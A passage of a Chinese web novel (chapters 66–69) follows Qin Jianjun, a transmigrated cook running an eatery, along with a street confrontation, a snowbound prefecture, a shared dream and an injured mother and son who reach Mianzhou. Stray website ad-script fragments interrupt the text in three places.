冯莲找回了一点熟悉的活泼,便也不那么敏感了,她想了想,又将银钱收了回去,认真道:“我明日便去租屋子。” 秦见君转身拨弄了一下炉中的炭火道:“先买两身厚衣裳吧,等你吃饱穿暖,有地方住了,再想着还我钱的事,不然我不收的。” 冯莲当然知晓她这话的意思,一时眼眶湿润,却强忍着不发出声音,低头看向秦见君蹲在地上的背影,心中暗暗发誓,她会还清钱,然后给秦见君做一辈子工! 秦见君的脚店并非全年无休,而是每月打烊一日,不过平日里店中清闲时,员工也可以请假休息。 发工钱的第二日,脚店打烊,袁芽早早就来喊冯莲。 “快快快!我们去买新衣裳!” 冯莲忙不迭赶紧洗漱,话都来不及说。 秦见君在一旁看得好笑,冲袁芽道:“衣裳不就在那儿,还能长腿跑了不成?” 袁芽鼓起脸道:“衣裳真的会跑!锦绣阁今日上新,我哥的衣裳尺码少,我可得快些去,不然就被别人买走了!” 锦绣阁是沈叠山的成衣铺子,老将军不知从哪儿请来的制衣师傅,出的款式漂亮又方便行事,在绵州乃至虔渊州都大受欢迎。每月月初上新款,引得无数小娘子前去选购。 沈婉南下后走访了许多香橼种植园,发现了一些品相不大一样的香橼,拿不准主意,便给秦见君来信询问。 秦见君会仔细问外观、口感与汁水丰缺,然后判断是否有收购价值,给沈婉帮了很大的忙,于是沈婉便同沈叠山说,若是含萃店的老板与伙计去锦绣阁挑衣裳,一律低价卖,是以袁芽才敢如此大摇大摆地去锦绣阁“抢衣裳”。 “这边这边!”袁芽拉着冯莲挤进锦绣阁中,径直往男衣区去。 男子对衣裳向来不挑,锦绣阁的女衣区挤满了人,男衣区相对冷清许多。 袁芽仔细摸着不同衣裳的面料比对,又退后几步看看样式,挑得仔细极了。 她看中了一套玄色银边劲装,布料柔软紧密,想来上身质感极好。 “我要......”袁芽转头要找伙计,却不小心后退踩到了冯莲,这才发觉冯莲陪着自己在男衣区待了许久,忙道,“你快去那边看看衣裳!我付了钱就去找你!” 冯莲听话地转头挤进女衣区。 袁芽马不停蹄地问了尺码、付完钱,拎着衣盒去找冯莲。 冯莲在被踩了好几脚之后,总算站稳了,抬头一看,自己被挤在了夹角中,什么衣裳也看不见。 她想着还是改日再来好了,于是又艰难地挤出去,在半道遇上前来找自己的袁芽,两人牵着手一同挤出了铺子。 “呼......”袁芽喘着气道,“今日真不买了?新款可不等人。” 冯莲摇摇头,她对新款没什么执念,从小穿破衣裳长大的,不讲究这些。 “过几日来买套合身的就行。”冯莲道。 袁芽点点头,看了一眼上手的衣盒,心满意足地准备回家,却被人从身后扯住。 “花招弟!” 袁芽转头——是娘。 66.第 66 章(二更) 锦绣阁前人来人往,原本步履匆匆的百姓,如今都停下驻足。 人群围成一个圈,袁芽站在正中间。 “天杀的没良心的小贱蹄子!你弟弟病了!你都不肯给一点银钱给他找大夫!怎么这么狠的心呐!”蓬头垢面的妇人哭得鼻涕挂在嘴角,随着唇瓣开合,悉数卷入口中。 袁芽看着渐渐围拢的人群,有些紧张地抱紧了怀中的衣盒。 妇人见她怀中的衣盒是锦绣阁的,便哭得愈发大声起来:“自己穿金戴银买锦绣阁的衣裳!却不肯从手指缝里流一点出来救弟弟的命!” 站在一旁的冯莲早就从秦见君那里知晓了袁芽的身世,这会儿看着妇人丑恶的嘴脸,她便觉得不可思议,怎会有为人父母的如何颠倒黑白? “当初是你们要同她断了关系的!”冯莲喊了一声,声音虽没那妇人的尖细响亮,却也让周围人听了个清楚。 “这不是含萃店的袁账房吗?” “是啊,还有冯娘子。” “这是怎么回事啊?没听说袁账房有爹娘啊......不是说家中只有一位兄长吗?” “是啊是啊,我先前去还碰到她兄长哩!高高大大的,就是缺了条胳膊!” “缺了胳膊?造孽哟......” 赖坐在地上的妇人听了百姓们议论,才想起当初买走花招弟的是个断了一臂的高大男子,她有些害怕地四处张望,没看见袁分的身影,这才放下心来继续叫骂。 “那可是你亲弟弟!病得吃不下东西,你怎么这么狠心!眼睁睁看着他病啊!” 见袁芽不还嘴,妇人便越说越来劲,忽然似是想起了什么,指着袁芽道:“你有什么好得意的你?不就是个脚店账房!手上攒了再多银钱也嫁不出去!你忘了当初你同我说有人摸......” 话音未落,妇人顿觉脖颈一痛,立即昏倒过去。 她身后抱着孩子的男人赶忙上前查看,转头瞪着动手的断臂男子,敢怒不敢言。 “再让我听到她胡说八道,我会让她从今以后都说不出话。”袁分压低了声音警告那男人。 袁芽见袁分来了,立刻上前躲在他身后,一手抱着衣盒,一手去抓袁分的衣裳。 后背的衣裳被人用手揪着,连同袁分的心一起揪了起来。 他侧头看了一眼躲在自己身后袁芽,她脸上带着委屈,却在对上他视线的瞬间都消散了,仿佛只要他在,她就不会受委屈。 “走。”袁分反手拉住袁芽,往人群外走。 冯莲忙上前冲围观百姓们挥手道:“都散了吧、散了吧......一场误会,改日还来含萃店吃饭啊......” 听她提起含萃店,百姓们又纷纷换上笑脸,问她店中近日可还有削价活动,秦小娘的手艺可是让他们魂牵梦萦的...... 袁芽走两步,跑一段,这才能勉强跟上袁分的脚步。 男人一句话都不说,迎面走过来的百姓见了男人骇人的面色,都小心地绕着走,只有袁芽还紧紧跟在他身后。 回了两人的院子里,袁分才松开拉着袁芽的手,转头看向她。 袁芽一直都知晓,爹娘在绵州生活,自己也在绵州,早晚会遇上的,只是没想到她娘会当着那么多人的面给她难堪。 “下次再遇到他们,只管打上去让他们闭嘴。”袁分道。 袁芽勉强扯了扯嘴角道:“再怎么说,是他们生下我......我不好动手的......” 袁分蹙着眉:“那便告知我。”我去打。 袁芽自然知晓他后面未说出的那句话,有袁分在,她一点也不怕被欺负,反正只要忍一忍,回家告诉袁分,袁分就会帮她出气。 犹记得覃涛刚来含萃店那会儿,谁也不认识,性子又腼腆,只敢与同龄的袁芽说话,袁芽性子好,他便愈发没了边界。 有一次袁芽衣裳脏了,躲进后厨换,覃涛居然偷偷摸进去将干净衣裳取走,留她一人在后厨僵着。 这事秦见君知晓了,狠狠训了覃涛一顿,而后又告知了袁分。 翌日袁分便上门将覃涛拎出去警告了一番。 那日袁分是如何同覃涛说的,袁芽不得而知,只知自那以后,覃涛便不再那么没规没矩了,即便两人同吃同笑,也时刻记得男女之别。 这次被亲娘当街辱骂,袁芽当下是有些害怕的,但看见袁分后便只剩委屈了,她拿自己的亲生爹娘没法子,但袁分有,他不仅有,还懂分寸。 “知道了,下次再遇到他们......我就告诉你。”袁芽道。 袁分紧蹙的眉头这才松开来一点,袁芽见状,忙将手中的衣盒举到他面前:“给你买的,试试看。” 袁分接过盒子并未多言,转身进屋子去换。 袁芽似乎很喜欢给他买衣裳,每月发工钱,她都会去锦绣阁挑上一套。 一开始袁分同她说,自己穿不了那么多衣裳,小孩听了便神情落寞地回了屋子,此后好几日都不与袁分碰面。 直到秦见君来找袁分,说袁芽近日情绪不佳,问了才知晓,她给自家哥哥买衣裳,被拒绝了。 “我第一次给她发完工钱,她就上街买了糖葫芦和吹气糖人,回店里一个人吃完了,然后跟我说,原来这些东西没想象中那么好吃,都不知道剩下的钱要怎么花了......”秦见君缓声道。 “我跟她说,钱可以买很多东西,她现在有家了,家中缺什么就添置上,人过得舒心才是最重要的,所以她才动了给你买衣裳的念头......她从前日子过得苦,有了银钱能第一时间想到给自己买糖已经很难得了,你是她唯一的家人,她在你身上花钱也是重视你、在意你,你要是拒绝了,她心里肯定难受......” 秦见君来说过后,袁分夜里便去找袁芽说清了,还说自己很喜欢她送的衣裳,款式好,还方便动作。 从那以后,袁分每个月都会收到一套新衣裳,也知晓袁芽每月月初都会去锦绣阁替他挑衣裳。恰好今日下值早,他想着去锦绣阁接袁芽回家,这才碰上了这档子事。 袁分单手系好腰带,推开门走了出去。 袁芽围着他转了好几圈,满意地点点头,临回屋前,还叮嘱袁分记得刮胡子,胡子有些长了。 如今的袁分与先前的邋遢样完全不同,头发整齐、胡茬干净,衣裳也是袁芽选的,贴身又挺拔。 袁分回了屋子,右手在衣裳上摩挲—— (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 柔软紧密,是极好的料子。 他先前因为袁芽的那双眸子将她带回家,原想着给她一条生路,为自己积德,企盼下辈子还能遇上吴幽。不过如今看来,倒是捡了一件贴心小棉袄回家。 这小棉袄日复一日地裹在他身上,心上凝结的寒冰逐渐融化,他似乎开始能够感受这世间的温情与美好了。 无关男女之情,袁芽对他的关心是发自内心的、无需外物修饰的,这一刻,血缘关系变成了虚无的纽带,“家人”这层关系将二人紧紧绑在一处。 袁分脱下衣裳叠好,放回衣盒中仔细保存,再将衣盒放入柜子中,与其他盒子一起整齐地放着。 柜门合上的瞬间他意识到,原来除了爱情,亲情也能给人活下去的希望。 如今他只想多赚钱、保护好袁芽。 袁芽爹娘之事在当天夜里,就被冯莲告知了秦见君。 “我同他们说,秦老板正在谋划削价的事,这才稳住了他们......”似是怕自己随意承诺会给秦见君带来麻烦,冯莲说这事时,头都不敢抬。 “没事,我本来也打算推出新品了,只是原料还未谈成......”秦见君眉宇间有些忧愁。 这段日子大家忙得连喘息的时间都没有,秦见君却还坚持打烊后去街南看“原料”,冯莲担心地问:“‘原料’是什么?不好买吗?” 秦见君摇了摇头道:“‘原料’是‘米线’,我打算卖小锅米线。” 一人食套餐广受好评,许多三两小友一同前来的,也都会各自点上喜欢的套餐。 这让秦见君意识到,大荆人并非都喜欢与人同席分菜,而是不得不如此,若是有更多选择,他们还是更喜欢各吃各的。 所以她想推出口味丰富、荤素搭配的砂锅米线,冬日里能吃上一小锅热腾腾、香喷喷的米线,想来也是极舒坦的。 “这‘米线’是什么样的?很难做吗?”冯莲问。 秦见君微微摇头:“倒也不算难,街南有一家铺子能做,只是口感稍次,我正想法子商量改进......”说着,她脸色依旧担忧。 冯莲一看,便知晓她忧虑的并非原料之事,于是问:“你在担忧什么?” 秦见君看向她——自己的担忧这么明显的吗? 她只好轻叹了一声道:“我许久......没收到裴眠的信了......” 冯莲眨了眨眼,她知晓的,裴眠是原绵州知州,不仅是帮自己摆平了老鳏夫案子的“大人物”,还是秦见君心意相通的“未来夫君”。 说起来,自冯莲到了绵州,就只碰到过秦见君收了两次信,那之后便再未收到来信了。 冯莲觉得这场面似曾相识,忍了忍,还是没忍住道:“或许......阿君......” 秦见君看着她的眸子,不知她想说什么。 “或许......裴大人他......”冯莲觉得事关好友终身幸福,即便话不好听,也要说出来让她做好准备。 “或许裴大人他移情别恋了呢......” 秦见君刚想反驳,就见冯莲神色痛苦道:“先前......戴鸣也是如此......同我断了联系的......” 67.第 67 章 “老板?老板!”覃涛喊了两声。 秦见君恍然抬头,发现手里的青菜都被自己捏得蔫巴巴的了...... “老板......我来吧......”覃涛上前接过剩下没被残害的青菜,仔细清洗起来。 秦见君只好收手,转身进了大堂。 袁芽正在柜台前规整账本与菜单,玲姐与冯莲在擦桌子。 冯莲擦得很认真,低着头并未察觉秦见君的到来。 秦见君靠在柜台上看着冯莲发呆——移情别恋......他会吗? 应该......不会吧? “姐姐,在想什么?”袁芽合上账本,凑过去问秦见君,昨夜明明还还好的,今早来却有些失魂落魄,做什么都不专心,她有点担心。 秦见君觉得遇事不能单听一家之言,要多放听取意见才行,于是将许久未收到裴眠来信之事同袁芽说了。 袁芽蹙起眉头,有些欲言又止。 秦见君对她这表情太熟悉了,心想她不会也要说什么“移情别恋”的事吧? 袁芽犹豫了一会儿,还是开口道:“你们一直用信鸽联系,忽然收不到信,很可能是信鸽出了事,先前听我哥说,训练好的信鸽是几乎不出差错的,除非遭遇意外......” “难道是有人故意截断了信鸽?”秦见君忍不住阴谋论起来,裴眠在朝中树敌众多,该不会那些人的手都伸到自己头上来了吧? “你先别着急,夜里回去我问问哥哥。”袁芽安慰她道。 虽然遇事要尽量保持冷静,但在情况不明的前提下,静待不动却很可能错失时机。 “今天晚点开张,我出去一趟。”秦见君拢了拢领子,一边转头冲袁芽说话,一边往外走,没想到脸颊忽然撞上一堵坚硬的东西。 “啊......”秦见君伸手揉了揉脸颊,抬眼看过去——袁原! 平雅街北的百姓们路过含萃店时,都会驻足观望一会儿。只因今日这脚店并未开门,门口也并未竖牌子,百姓们有些拿不准,中午是否还能吃上实惠又美味的一人食套餐。 “大雪封路?”秦见君有些紧张起来,大荆的物资不算十分充裕,尤其是叶水州那种偏远地方,若是州中粮食耗尽,路又被封,那被困百姓只能是死路一条...... 袁原看得出秦见君在想什么,于是道:“我问了附近百姓,他们说叶水州年年如此,这路要到年后才能通。” 虽然是常态,但秦见君还是忍不住担心,毕竟大荆没有网络也没有手机,被大雪困住便是失了联系,无法沟通有无。 “秦小娘近日是否有收到大人的信?”袁原问。 他离开客栈时也尝试写了一封信让信鸽送入叶水州,但客栈伙计说希望渺茫,若途遇风雪,信鸽很容易失了方向。 秦见君摇头道:“有段日子没收到了,这雪会影响信鸽送信吗?” “如今看来是会的。”袁原道。 眼下后厨只有秦见君与袁原,于是她放轻了声音问:“是裴眠派你出来的吗?” 袁原点头:“去虔渊州办事。” 秦见君看向他,他的脸还是一如既往的没有表情,但他不守在客栈,而是来绵州找自己......一定有问题...... “他......让你来找我的?”秦见君问。 “不是。” “那你来找我做什么?” 袁原顿了顿,道:“去叶水州前,大人说过,往后若是他不在,便听命于你。” “我?”秦见君讶然。 袁原不说话了,只默默看着她。 秦见君被这眼神看得有些发毛,虽然每日在脚店中她经常分配工作,但袁原这种一看就不是随意使唤做杂事的......她觉得有点大材小用...... “裴眠派你出来做什么?” 裴眠早就将秦见君划入了袁原要效忠的人中,是以这会儿他也并未隐瞒。 “叶水州的稻苗十月便全冻死了,天气严寒,不宜再播种,连大人说他在虔渊州的旧识家中有一农事孤本,大人便派我去取。” “取到了?” 袁原从怀中拿出油纸包裹的书册,道:“取到了。” “既然是孤本......”秦见君道,“那肯定是很重要的,眼下也没别的办法,你识字的吗?” 袁原点头。 “那你先把孤本抄下来吧。”秦见君道,她确实不知道要使唤袁原做什么好,只能先让他抄抄书。 袁原并不质疑秦见君的命令,而是揣上书册离开了。 秦见君穿过大堂,打开大门,将营业的木牌放在门外,又抬头看了看外面呼啸的寒风,这才关了门缩回大堂中,对众人道:“都去干活儿吧。” 平雅街上人来人往,虽对比夏日时少了很多,但却比叶水州街上的百姓多多了。 裴小之用力将锹铲入厚厚的积雪中,咬紧牙关往上一撬,沉重的积雪便将他压了个踉跄。 “郎君,这雪也太厚了,而且这只是院子里的雪,路上的雪定是更厚......”他冲窗内正在写字的裴眠抱怨道。 裴眠也十分头大,且不说雪好不好铲,如今要紧的是叶水州已与外界断了一切联系,放出去的信鸽迟迟没有回音,想来是被风雪截在半道了。 给官家的信送不出去,要不来工钱,他实在不好厚着脸皮让百姓跟着他出去铲雪...... 给秦见君的信也不知送出去没,不过袁原迟迟未归,若是信鸽都无法飞跃,那袁原也定是进不来的,他应该会转头去绵州找秦见君...... 裴眠在心中盘算着,抬头看向灰蒙蒙的天,衬得空中飞雪愈发洁白。 这雪下个没停,地上的雪只积不消,如此下去,即便辛苦清理积雪,也可能一夜后便被新雪堆回原样。 可就这样什么都不做吗? 细碎的雪花粘在裴眠睫毛上,被嘴角热气一蒸便化为水滴,坠在睫尖,随着他眨眼而滴落。 “大人!” 院门被敲响,裴小之放下锹,上前去开门。 门外一群大汉手里拎着锄头、锹等工具,一脸气势汹汹的,把裴小之吓得退开两步。 裴眠走上前,大汉前为首的是连立山,他也举着一把锹站着。 “大人,百姓们听说你想开路,都换了衣裳出来帮忙呢。” 裴眠扫了一眼门口的大汉们,个个裹得鼓鼓囊囊、严严实实。 有条件的都戴上了绒帽,没条件的便用布条将耳朵、鼻子、嘴巴等包起来,白汽 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 透过布条渗出来,不一会儿,布条上便有了一团深色水渍。 “大人,我们闲在家中也无事,开路还能活动活动手脚,暖和暖和!” “是啊,要是真能将路打通了,咱们就能出去做生意,或许能过个好年呢!” “咱们家伙事儿都带来了,只等大人一声令下!” 裴眠看见好几个相熟的面孔,他日日去田里看苗,与其中好几人都算得上熟识,想来最先响应的也是这几位...... “这雪不知何时能停,很可能今日清理的街道,明日又被新雪覆盖。”裴眠说出了自己顾虑。 原以为百姓们会知难而退,避免做“无用功”,可出乎意料的,他们看起来依然干劲满满。 “我们知晓的!” “但总要试试!” 一声接着一声。 裴眠敛了敛眸子,而后看向众人道:“那便试试,前几日无需太劳累,后续我会根据情况进行调整。” “那我们走吧!”连立山道。 一群人浩浩荡荡走向街道,裴眠也跟在众人后头出了门。 到了地方,他大致分配了一下工作,便从裴小之手中接过锹,低头准备铲雪,却忽然被一旁伸出的手拦住了。 是田边相熟的农户,他粗糙的大手按在锹柄上,冲裴眠露出憨厚的笑容:“大人就别忙活了,我们来就好了。” 他还记得连知州同他们说过,裴大人的身子不好,先前连站都站不起来...... 裴眠轻轻摇头道:“无妨,我能铲。” 农户与他拉扯一会儿,见他坚持,便也不多说什么了。 自这日开始,叶水州中家家户户有闲时都会拿着工具上街铲雪,天上的雪也渐渐小了。 这期间裴眠病倒了几次,还好有齐冬青在。 “不碍事,他现在身子好多了,病几场也不全是坏事。”齐冬青收了药箱,对裴小之道。 裴小之心疼地趴在裴眠床边,脸都愁得皱起来了:“怎么就不是坏事了......这么躺在床上发热多难受啊......” 齐冬青轻松一笑:“你想想,他是不是每次退了热,身子就比从前更好些?” 裴小之听了,眨眼想了想,好像真是如此...... “他这病躲不过,发热后身子会强壮许多,往后只管让他多动动,铲雪的事不必拦着,病了再喊我。”齐冬青交代完就走了。 裴小之见大夫都如此说,便也放心多了。 “秦见君......”床上烧得糊涂的裴眠呓语出声。 裴小之凑上去听,听清了他只是在喃喃秦见君的名字后,也忍不住想起秦小娘来,尤其想她的手艺...... 裴眠觉得身上有点疼,好不容易睁开眼,发现自己正身处于一片黑雾之中,四周是奇怪的铁棍,围成篱笆似的,将自己圈了起来。 他往前走,雾气越来越浓,直到伸手不见五指,忽然腿撞到了什么,雾气散开了些,他低头看见一个孩子正背对自己抱着腿蜷缩在地上。 “你是何人?”裴眠问。 那孩子似有所感,缓缓转过头来,与裴眠对视。 裴眠怔住,而后蹙起眉来——这孩子......是缩小版的秦见君...... 68.第 68 章 不知是不是白日里精神太过紧张,秦见君夜里竟然又做了噩梦。 依旧是孤儿院的操场,高高的栏杆密密麻麻围在操场边上,散不开的黑雾渐渐浓郁。 秦见君习以为常地蹲下身抱住双腿,将头埋在膝盖上。浓雾裹挟着凉气爬上手臂,她闭上眼也能想象到,自己周身一定是一片漆黑。 果然,不一会儿连呼吸都变得粘稠起来。 “你是何人?” 身后传来一个熟悉的声音,秦见君忍不住转头望过去。 她眼中充满了震惊与不可置信,半晌才找回自己的声音:“你......你怎么在这儿?” 眼前的裴眠脸色沉静,似是不认识她。 “你是何人?”“裴眠”又说话了。 “我是......秦见君......” “在此地做什么?” “我......”秦见君看着裴眠熟悉又陌生的脸,缓缓站起身,发觉自己身高才到他腰间。 她抬起细瘦的手臂想去抓住裴眠腰间的玉佩——是裴眠给自己挂上的那一块。 裴眠捏住她的手拿开,眉头轻蹙:“做什么?” 秦见君这下十成十确定眼前的“裴眠”真的不认识自己了,她试探着喊:“裴眠......” “裴眠”眉头蹙得更深:“你究竟是何人?” 有了裴眠,连噩梦都变得可爱起来,秦见君忍不住挑起眉,用另一只手将裴眠腰间的玉佩扯了下来。 他猝不及防低头,连腰带都被扯歪了,于是忙伸手去整理。 秦见君握着玉佩哈哈大笑,笑够了才道:“我是你命中注定的有缘人,我叫秦见君,你离开这里之后一定要去找我啊!” “裴眠”正要继续问,却在一瞬像是被什么东西定住了,表情与姿势停滞住。 “裴眠?”秦见君伸手拍了拍他的腰,喊,“裴眠?你怎么了?” 不知何时,周身的黑雾散开,操场上亮起一个个光圈。 秦见君惊讶地发现,每个光圈中都是成年裴眠与幼年自己在操场相遇的场景,两人陌生的交流让秦见君觉得心里别扭。 她一快速地扫过每一个光圈,发现其中一个很不一样。 光圈中的“自己”满脸害怕,“裴眠”却蹲下身和善地冲“自己”笑,几乎一瞬间,秦见君便认出里面那个“裴眠”是自己认识的裴眠!因为在所有光圈中,只有这个“裴眠”腰上没有挂玉佩! 她跑过去,伸手想触碰光圈,却被一股灼热的气息烫了回来。 “嘶......”她收回手看了看指尖——没有烫伤。 她抬头望向光圈,里面的“自己”像这个世界的“裴眠”一样停滞住了,圈中的裴眠有些焦急地喊着“秦见君”。 她似有所感,有什么东西错位了......什么东西呢?是自己所在的时空,还是裴眠所在的时空? 眼看着浓雾重新聚拢,光圈一个个接连消失,等不了了! 秦见君咬牙冲向面前的光圈,浑身被灼热包围,她觉得骨缝中都夹着火星子,正烧得噼啪作响...... 冬日清晨只有麻雀还在啾鸣,秦见君记得小院的树上有几个鸟巢,里头的麻雀几乎日日早晨都会飞来窗前鸣叫。 秦见君开窗后会顺手洒一把谷粒在窗沿上,是以麻雀每日都会准时来叫,算是另一种意义上的“闹钟”。 此时耳边响起啾鸣声,秦见君猛地睁开眼,入目是模糊的影子,使劲眨了眨眼,房梁变得清晰。 她缓缓转头,望向窗户方向,窗外隐隐有亮光,鸟雀的影子在窗纸上跳跃。 她坐起身环视一圈——只是一个梦。 但这个梦太诡异了......她想起从前看过的穿越小说,很多时候穿越的真相就是隐藏在梦境中的。 光圈是平行世界吗?那为什么自己和裴眠被分隔在了两个世界?自己最后算是找到裴眠了吗? 她思绪有些混乱。 “姐姐!” 外面传来袁芽清亮的喊声,秦见君回过神,甩了甩头让自己清醒了些——无论如何,眼下她与认识的裴眠正处于同一时空,还是先过好当下吧,剩下的线索可能要等下一个梦境了。 同往常一样,秦见君带着袁芽、覃涛与冯莲一起去菜场采购了食材,再去脚店处理食材,收拾大堂准备开张。 天气愈发冷了,还有一个多月就要过年,打烊后,秦见君坐在桌边想着新年团圆餐的配置。 “猪蹄膀不太实用......除去的话就会缺一个荤菜......”秦见君将毛笔夹在食指与中指之间,掌根翻过来撑在下巴上。 想着想着,她又忍不住想到裴眠——叶水州怎么样了呢?虽然袁原说大雪封路是常事,但她还是有点担心......不过裴眠那么聪明,应该不会有事的...... 她觉得思路有些阻滞,想着开窗吹吹冷风,刺激一下大脑。 深夜窗外没什么行人,空荡又安静,耳边只剩下冯莲与覃涛擦桌子、拖地发出的声音。 秦见君发了会儿呆,忽然听到一阵奇怪的声响。 像是什么东西被压在地上拖动,一下又一下,沉重且缓慢。 她放下笔,竖耳听着,目光也在街边四处逡巡。 远处的街角出现了一个佝偻的身影,夜色昏暗,秦见君看不太清,便静静等着那人靠近。 那人的身形又矮又小,身体前倾着,肩上似乎扛着什么,走起来十分吃力。 随着身影渐渐清晰,一股熟悉感用上心头,秦见君不自觉站了起来,伸手将窗户又推开了些。 杨甜? 秦见君眸子睁大,半个身子都探出窗去。 真的是杨甜! 她穿着年初在井沟村穿的那套冬衣,脏兮兮、破破烂烂的,双手拽着肩上的绳子,努力往前拖。 秦见君顺着她肩头的绳子滑至她身后地上,绳子那头绑着一块木板,隐约能看见木板上有一块破布裹着什么...... 秦见君眯着眼,看清那是什么的瞬间,心头大骇。 “嘭!” 窗边的桌椅被撞翻,冯莲抬头看过去时,门口只留下秦见君的一片衣角。 她跑出脚店,穿过寂静的街道,停在了街角处,张了张嘴,却不知该说什么。 杨甜脸颊上满是冻疮,眼角的皱纹又深了几分,抬眼时,眸中全是麻木与空洞,在看到秦见君时,才亮起一点光。 秦见君低头去看她身后拖着的木板——秦建业裹了块破布躺在上面,脸色发白,唇角干裂......看着没什么生气...... “他......”秦见君话还未说出口,就听到了杨甜沙哑的声音。 “救命......” 似是终于到了极限,杨甜说完便体力不支,一头栽倒。 秦见君上前扶住她,发觉她身上瘦得硌人,才一年不到的时间,怎么成这样了? “阿君?”冯莲从后面跟过来,看清了木板上的秦建业,吓得双手揪住衣角,磕磕巴巴道,“这......这是怎么了?” “去喊小涛和小芽过来! (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ” 一行人扛着两个昏迷过去的人,深夜敲响了医馆的大门,药童骂骂咧咧开了门,被秦见君一把铜板将怨气堵了回去。 “这位娘子身上有多处瘀伤,右肩伤口未及时救治,导致发热,另外腹内有出血,我开了止血药,能否撑下去就看她自己了......” 秦见君看向昏睡过去的杨甜,破烂衣裳中露出来的皮肤上全是伤。 “这孩子......唉......” 秦见君听大夫叹气,心中一紧,眉头蹙得紧紧的,等大夫接下来的话。 “这孩子的右腿是被人生生打断的,骨头断了许久,已经接不上去了......” “那要......怎么处理?”秦见君双手攥起,问大夫。 “将死腿割下来。” “割下来能保住命吗?”秦见君问。 大夫点头,提醒道:“秦小娘要早些做抉择,若是不割断腿,这孩子便一定活不长,若是割下断腿,或许还有一线生机......” “割。”秦见君斩钉截铁道。 大夫还未见过这样果断的,从前病人听说要割肢体,都吓得不行,以为活不下去了,鲜少有当场便同意的。 “大夫,麻烦您帮他把断腿割掉,一定要保住性命。” 大夫点点头道:“我尽力。” 这一夜,冷了许久的绵州忽然落了雪。 “娘!下雪了!” “哎唷?我看看啊......还真是下雪了,绵州多少年没下过雪了?” “有四五年了,上次下雪,娃娃才刚会说话呢......” 清晨的平雅街缓缓苏醒,铺子次序开张,街边蒸笼中的白汽缓缓上升,百姓叫卖、交谈声传入秦见君耳中。 她在医馆大堂守了一夜,眼中尽是红血丝。 “阿君,去歇会儿吃点东西,我来守着。”冯莲拎着食盒走了过来。 秦见君手里攥着从杨甜衣领中掉下来的纸张,通红的眸子中积蓄着泪水。 这沓纸中有从湖梁县到绵州的地图,也有杨甜与秦建业二人的路引,底下还压着一张手写信,是安承喜的字迹,语气却是杨甜的。 信中拜托能看到这封信的好心人,帮忙将秦建业带到绵州,交给含萃店的老板,自己若是身死,只管随便扔在路边即可,切勿误了去绵州的时辰。 信的末尾语气恳切,杨甜身无分文,无法许给他人什么好处,只能不停恳求。 信纸翻过来,是安承喜的留言。 秦见君看完后,知晓了秦建业的腿是被秦留志打断的,只因秦建业想去湖梁县谋工事,杨甜在劝阻时也被波及。 秦建业被打后只是一瘸一拐地回了屋子休息,夜里忽然发起热来。 杨甜去找秦留志要钱请大夫,秦留志却喝了酒,脾气上头狠狠打了杨甜一顿,还扬言要再打秦建业一顿,这样他就不敢“装病”了。 杨甜走投无路,找出二人的路引,扶着秦建业连夜走到了湖梁县。 路上遇到先前为秦见君说的那位“侏儒夫君”,那侏儒说先前看见过秦见君送冯莲去医馆,杨甜这才知晓冯莲去绵州找秦见君了。 于是她到处打听去绵州的路,恰好撞上来巡视饼铺的安承喜。 问清前因后果,安承喜便想给杨甜盘缠钱,她不肯要,只拿了地图,并托安承喜写了信,随后扶着秦建业离开了。 秦见君想起方才秦建业躺在木板上毫无生气的模样,无法想象杨甜是如何带着一身伤,一步步将秦建业拖到绵州来的...... 69.第 69 章 “秦老板。” 听到大夫叫,秦见君收起纸张,低头时顺手拭去眼角的泪,再抬起头就又是一副冷静坚定的模样了。 “怎么样了?” 血腥味源源不断地从屋子里钻出来,大夫用热帕子擦着手道:“死腿已经割下来了,药方子上的药尽快煎了,两个时辰喂一次,若能坚持到明日此时,那命就算保住了。” 秦见君点点头,又问:“只需要喂药?还要准备别的什么吗?” 大夫转头瞥了一眼屋内,摇头道:“不必,别让人吵着就行,先保住命再说。” 脚店生意耽误不得,于是秦见君在医馆中寻了个性子安静的药童,托他帮忙照看杨甜与秦建业,许了他工钱。 接下来的几日,秦见君忙得晕头转向,脚店后厨要顾、新年团圆餐菜单未定也未试菜、打烊后还要来医馆看望母子俩,桩桩件件加起来,让她觉得有些心力交瘁。 好在也有好消息。 “姐姐,街南有人带话说你要的‘米线’做出来了,让你抽空去看看。” 秦见君摘下围裙,惊喜道:“做出来了?” 袁芽心疼她累,这会儿见她高兴,也跟着笑起来了:“说是做出来了,等着你去看呢!” 翌日秦见君趁着下午食客少,去了街南一趟。 街南这家米面铺子招牌便是“纯手工”,她看中这店的老板有真本事,才将米线的设想告知了对方。 可惜试验了许多次,均以失败告终。不是米线太粗,就是细而绵软、没有韧劲。 这次新做出来的米线倒是有几分样子了,秦见君用沸水煮了一会儿,观察着米线的形态,并未断裂,且饱满光滑。 她取了筷子夹起几根,凑在嘴边吹了吹,张嘴咬入口中——柔韧爽滑、米香氤氲。 “武老板好手艺!”秦见君夸道。 被称作“武老板”的是一位娘子,原名武知虹。这家米面铺子是她爹娘的店,武氏二人老来得女,如今年纪大了,便将手艺传给武知虹。 武知虹聪慧肯干,接手店铺后也依旧做得红火,二老便退至二线打下手,一家人日子倒也舒坦。 武知虹与秦见君一般年岁,被夸了便爽朗大笑道:“我说了能做出来,就定能做出来!” 秦见君欣赏这样大方飒爽的娘子,于是当下便询问了出货量与出货时间,她想尽早将米线推广出去,名声和钱都要快快赚上。 她计划着年后再忙一阵子,若是裴眠还不回来,便关了脚店歇几日,她好北上找情郎联络感情去。 签下了米线契约,秦见君心中一件大事也算落了地,虽然摆在面前的问题只多不少,但事情总得一件一件做。她拎着一篮子米线往脚店去,想着把米线做出来试试菜。 于是回去的路上她将食材买齐,到了脚店便进后厨忙活,覃涛与袁芽就靠在厨房边看着她动作。 大荆还没有西红柿,于是秦见君用酸菜吊了汤底出来,加入自制的豆瓣酱炒香,再加水熬煮。 秦见君耸了耸鼻子,闻着锅中的香气,有些不满意。大荆没有辣椒,她只好加了花椒和胡椒进去,是以这“盗版豆瓣酱”只有酱香与麻香。 但厨房边的两个孩子是十分满意的,闻到锅中溢出的香气,两人都忍不住咽了咽口水。 